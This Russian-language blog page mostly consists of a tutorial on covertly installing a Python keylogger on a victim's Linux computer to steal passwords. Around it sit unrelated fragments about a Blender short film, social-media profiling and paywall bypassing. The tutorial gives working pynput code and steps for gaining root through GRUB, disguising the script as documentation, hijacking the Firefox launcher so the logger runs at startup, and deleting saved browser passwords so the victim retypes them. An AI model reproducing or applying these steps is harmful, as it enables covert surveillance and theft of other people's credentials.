Это видео, загруженное на YouTube с названием Моя луна (Короткометражный фильм созданный в Blender), был снят Ником Продановым в рамках дипломной работы, без привлечения какого либо финансирования и с использованием свободного программного обеспечения. ПО распространяется под лицензией CC BY 4.0.

В этой статье я покажу вам, как сделать продвинутый кейлоггер, который отправляет сообщения по электронной почте и самоуничтожается через определенный промежуток времени.

Простой способ украсть пароли - установить кейлоггер на компьютер жертвы. Я покажу, как это сделать в GNU/Linux с помощью языка программирования Python.

Первое, что нужно сделать, - получить права суперпользователя. Если компьютер находится под нашим управлением, мы уже знаем пароль. Если их нет, мы можем получить права суперпользователя через GRUB. Получив необходимые права, мы можем устанавливать кейлоггер.

Прежде всего, необходимо установить библиотеку pynput, выполнив...

sudo pip install pynput

Далее нам нужно написать кейлоггер. Вот код, который мы будем использовать:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Журнал ввода с клавиатуры хранится в папке log_dir. В данном случае я указал в качестве назначения папку документации GNU/Linux Python 3. Кейлоггер также можно хранить в том же каталоге, возможно, под именем compile_docs.py или чем-то подобным, чтобы не привлекать внимания. В идеале следует выбрать папку, в которую жертва не собирается заходить, чтобы она не смогла понять, что именно мы делаем.

Следующим шагом будет запуск программы каждый раз, когда компьюте включается или запускается какая-либо программа. Если, например, мы хотим запускать кейлоггер каждый раз, когда пользователь открывает Firefox, мы можем модифицировать команду запуска Firefox. Мы можем переименовать firefox¹ в firefox.bin и создать следующий файл под названием firefox:

python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "$@"

Чтобы узнать, какой именно файл firefox выполняется при нажатии на его значок, перейдите в каталог /usr/share/applications, введите firefox.desktop (или firefox-esr.desktop) и найдите строку, начинающуюся с Exec.

Далее нам следует предоставить права на запись для пользователей, отличных от root, в каталог, где мы будем хранить журнал ввода:

sudo chmod o+w /usr/share/doc/python3

Теперь нужно дождаться, пока жертва воспользуется компьютером, чтобы ввести свои пароли или любую другую информацию, которую мы хотим получить. Журнал ввода будет храниться в файле /usr/share/doc/python3/log. Но будьте осторожны: этот файл может занимать очень много места, особенно, если его не удалять время от времени, поэтому лучше вообще удалить кейлоггер после того, как вы получите нужную вам информацию. Другой вариант - настроить кейлоггер на отправку информации по электронной почте вместо сохранения журнала в файл, что не потребует много места на компьютере жертвы, но этот способ требует использования электронной почты².

Если пароли сохранены в браузере и жертве не нужно вводить их заново, мы можем удалить файл с паролями, чтобы жертва была вынуждена ввести их повторно. В общем, проявив изобретательность, можно получить много информации, особенно если применять этот метод против неопытных пользователей, которые не будут проявлять особых подозрений. А для более опытных пользователей, возможно, лучше скомпилировать программу compile_docs.py с помощью Nuitka, как я показываю в следующей статье.

Лишь немногие детективы в киберпространстве обращают внимание на модели использования социальных сетей, которые могут раскрыть глубинные желания, настроения и т. д. Алгоритм социальных сетей Читать дальше Как изучать людей через социальные сети

Многие интернет-газеты устанавливают платные стены, которые не позволяют нам увидеть полное содержание статей без оплаты подписки. Однако есть несколько приемов, позволяющих избавиться от платных стен.

Полезное расширение для браузера, позволяющее обойти эти платные стены - Bypass Paywalls Clean. Это расширение работает для большинства популярных веб-сайтов, но в него можно легко добавить и многие другие веб-сайты. Как оно работает? По сути, расширение использует такие уловки, как отключение JavaScript, отключение cookies или изменение агента пользователя на известный веб-сканер (например, Googlebot).

Нет необходимости устанавливать все эти вышеупомянутое расширения, особенно, если вы не хотите этого делать собственноручно. Ниже вы узнаете, какие именно хитрости вы можете использовать, чтобы избежать большинства платных стен.